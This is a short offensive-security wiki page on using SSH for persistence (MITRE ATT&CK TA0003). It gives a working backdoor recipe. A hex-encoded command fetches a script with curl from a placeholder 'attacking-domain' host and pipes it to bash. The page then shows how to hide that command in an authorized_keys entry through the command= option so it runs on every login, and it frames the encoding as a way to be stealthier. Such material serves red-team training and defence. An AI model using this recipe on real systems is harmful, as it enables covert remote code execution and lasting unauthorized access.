SSH for Persistence

MITRE ATT&CK™ Persistence - Tactic TA0003

Theory

SSH (Secure Shell) is a versatile and widely-used protocol that provides secure remote access to systems and services. While it serves as a fundamental tool for authorized system administration, it can also be exploited by attackers to establish persistence on compromised systems. Through various techniques, ranging from simple SSH key-based attacks to more sophisticated methods like public key backdooring, adversaries can maintain unauthorized access and evade detection.

Practice

Backdooring Public Keys

It's possible to backdoor an SSH public key using the command= argument. The backdoor will execute whenever the user logs in using this key.

To be stealhier, we can encode the command to be executed

echo "bash -c 'curl -fsL http://attacking-domain/shell.sh|bash&'" | xxd -ps -c2048
62617368202d6320276375726c202d66734c20687474703a2f2f61747461636b696e672d646f6d61696e2f7368656c6c2e73687c6261736826270a

Simply add this to the begening of the public key

no-user-rc,no-X11-forwarding,command="eval $(echo 62617368202d6320276375726c202d66734c20687474703a2f2f61747461636b696e672d646f6d61696e2f7368656c6c2e73687c6261736826270a|xxd -r -ps);" ssh-ed25519 AAAAB3Nz...

authorized_keys

References

Infecting SSH Public Keys with backdoorsThe Hacker's Choice

PayloadsAllTheThings/Methodology and Resources/Linux - Persistence.md at master · swisskyrepo/PayloadsAllTheThingsGitHub